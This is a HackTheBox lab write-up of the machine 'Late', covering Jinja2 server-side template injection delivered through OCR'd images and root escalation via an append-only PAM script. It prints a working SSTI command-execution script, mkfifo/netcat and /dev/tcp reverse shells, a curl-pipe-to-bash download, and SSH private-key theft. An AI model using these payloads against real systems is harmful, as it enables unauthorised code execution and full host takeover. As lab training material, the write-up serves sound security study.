HTB: Late Writeup
Late - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Late |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 16th May 2022 |
| IP Address | 10.10.11.156 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Late is an Easy Linux machine featuring a Flask-based text recognition application vulnerable to Server Side Template Injection (SSTI). The vulnerability exists in the image-to-text conversion functionality, allowing arbitrary code execution as the svc_acc user. Privilege escalation is achieved through a cron-executed script with append-only permissions, enabling injection of commands that execute with root privileges.
TL;DR: SSTI in Flask application → RCE as svc_acc → Append reverse shell to root-executed script via append-only attribute → Root shell
Reconnaissance
Port Scanning
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.156 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.11.156Results:
- Port 22/TCP: OpenSSH 7.4p1
- Port 80/TCP: Nginx 1.14.0 (HTTP web server)
Service Enumeration
The main web server on port 80 hosts late.htb. Enumerating DNS entries reveals a subdomain images.late.htb. Adding this to /etc/hosts:
echo '10.10.11.156 late.htb images.late.htb' | sudo tee -a /etc/hostsVisiting images.late.htb reveals a Flask-based application that converts uploaded images to text using OCR technology. The application accepts image files and returns extracted text content.
Vulnerability Assessment
- Server Side Template Injection (SSTI): Flask applications use Jinja2 template engine by default. The text extraction output may process user-controlled data through templates without sanitization.
- Remote Code Execution: If SSTI is present, template expressions can access global namespace and execute arbitrary Python/system commands.
- File Append Permissions: System scripts may have append-only attributes allowing privilege escalation vectors.
Initial Foothold
Exploitation Path
Step 1: SSTI Vulnerability Detection
Create a Python script to generate test images with Jinja2 template payloads:
from PIL import Image, ImageDraw, ImageFont
def main(): img = Image.new('RGB', (2000, 100)) draw = ImageDraw.Draw(img) myFont = ImageFont.truetype('LiberationMono-Regular.ttf', 15) payload = "{{ 191 * 7 }}" # Will evaluate to 1337 if vulnerable draw.text((0, 3), payload, fill=(255, 255, 255), font=myFont) img.save('payload.png')
if __name__ == '__main__': main()Upload the generated image to images.late.htb. The application returns 1337 in the text output, confirming SSTI vulnerability.
Step 2: Remote Code Execution
Modify the script to execute arbitrary commands using the Jinja2 payload:
from PIL import Image, ImageDraw, ImageFontimport sys
def main(): if len(sys.argv) < 2: print('Usage: {} <cmd>'.format(sys.argv[0])) exit()
img = Image.new('RGB', (2000, 100)) draw = ImageDraw.Draw(img) myFont = ImageFont.truetype('LiberationMono-Regular.ttf', 15) payload = """{{{{self._TemplateReference__context.namespace.__init__.__globals__.os.popen("{cmd}").read() }}}}""".format(cmd=sys.argv[1]) draw.text((0, 3), payload, fill=(255, 255, 255), font=myFont) img.save('payload.png')
if __name__ == '__main__': main()Test command execution:
python3 image.py "id"Upload the image and verify the output shows uid=1000(svc_acc), confirming code execution as the svc_acc user.
Step 3: Reverse Shell Acquisition
Create a reverse shell payload file:
#!/bin/bashrm /tmp/wk;mkfifo /tmp/wk;cat /tmp/wk|/bin/sh -i 2>&1|nc 10.10.14.37 1337 >/tmp/wkHost the shell script:
python3 -m http.server 8000Start a Netcat listener:
nc -lvnp 1337Generate and upload the command execution payload:
python3 image.py "curl 10.10.14.37:8000/shell.sh|bash"A reverse shell is received as user svc_acc. The user flag is located in /home/svc_acc/user.txt.
Privilege Escalation
Step 1: SSH Key Extraction
Copy the SSH private key from the compromised user:
cat /home/svc_acc/.ssh/id_rsaSave locally and establish a stable SSH connection:
ssh -i ssh.key svc_acc@late.htbStep 2: Privilege Escalation Vector Discovery
Enumerate files owned by svc_acc:
find / -type f -user svc_acc 2>/dev/nullThe script /usr/local/sbin/ssh-alert.sh is identified as owned by svc_acc. Examine its contents:
cat /usr/local/sbin/ssh-alert.shThe script is executed as root upon SSH login/logout events (via PAM hooks).
Step 3: File Attribute Analysis
Check standard permissions:
ls -l /usr/local/sbin/ssh-alert.shAttempts to write directly result in permission denied. Check extended file attributes:
lsattr /usr/local/sbin/ssh-alert.shOutput shows the a (append-only) attribute. This restriction allows appending data without overwriting the original script.
Step 4: Root Shell Acquisition
Append a reverse shell to the script:
echo "bash -i >& /dev/tcp/10.10.14.37/1337 0>&1" >> /usr/local/sbin/ssh-alert.shStart a new Netcat listener on the attack machine:
nc -lvnp 1337Trigger script execution by closing the SSH session:
exitWhen the SSH session closes, the PAM hook executes /usr/local/sbin/ssh-alert.sh as root, triggering the appended reverse shell. A root shell is received. The root flag is located in /root/root.txt.
Attack Chain Summary
Nmap Scan → Discover Port 80 (Nginx) ↓Subdomain Enumeration → Find images.late.htb ↓SSTI Detection → {{ 191 * 7 }} = 1337 ↓RCE Exploitation → os.popen() via Jinja2 ↓Reverse Shell as svc_acc → Obtain User Flag ↓SSH Access → Stable Shell via Private Key ↓Find Root-Executed Script → /usr/local/sbin/ssh-alert.sh ↓Append-Only Attribute Detection → lsattr reveals 'a' flag ↓Reverse Shell Injection → echo >> ssh-alert.sh ↓Trigger PAM Hook → SSH Logout Execution ↓Root Shell → Obtain Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and file downloads |
nc (Netcat) | Reverse shell listener and data transfer |
ssh | Secure shell access |
scp | Secure file transfer |
find | File discovery and ownership enumeration |
lsattr | Extended file attribute inspection |
python3 (PIL) | Image generation with embedded payloads |
pspy | Process monitoring for privilege escalation analysis |
Key Learnings
Techniques Practiced
- Server Side Template Injection (SSTI): Exploiting unsanitized user input in template engines
- Jinja2 Exploitation: Accessing global namespace to execute arbitrary Python functions
- Image-based Payload Delivery: Encoding malicious payloads in image metadata/content
- PAM Hooks: Understanding Linux Pluggable Authentication Modules and execution context
- File Attributes: Leveraging append-only restrictions for privilege escalation
- Stable Shell Acquisition: Converting initial RCE to persistent SSH access
- Process Monitoring: Using tools like pspy to identify privilege escalation vectors
Lessons Learned
-
Template Engine Security: Never pass untrusted user input directly to template rendering functions. Always sanitize and escape user-controlled data.
-
Defense in Depth: File permissions alone are insufficient; extended attributes (like append-only) provide additional security layers that must be considered during exploitation and defense.
-
Privilege Escalation via Append: Append-only files executing as root can be exploited if an unprivileged user owns them—always review ownership of scripts in privileged execution paths.
-
PAM Authentication Hooks: SSH authentication triggers PAM modules that may execute custom scripts with elevated privileges; audit
/etc/pam.d/configurations. -
Stable Shell Importance: Initial RCE shells may be fragile; extracting SSH keys and establishing persistent access enables deeper system exploration.
-
Enumeration Depth: Combining multiple enumeration techniques (find, lsattr, pspy) reveals privilege escalation paths that single-vector scanning would miss.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>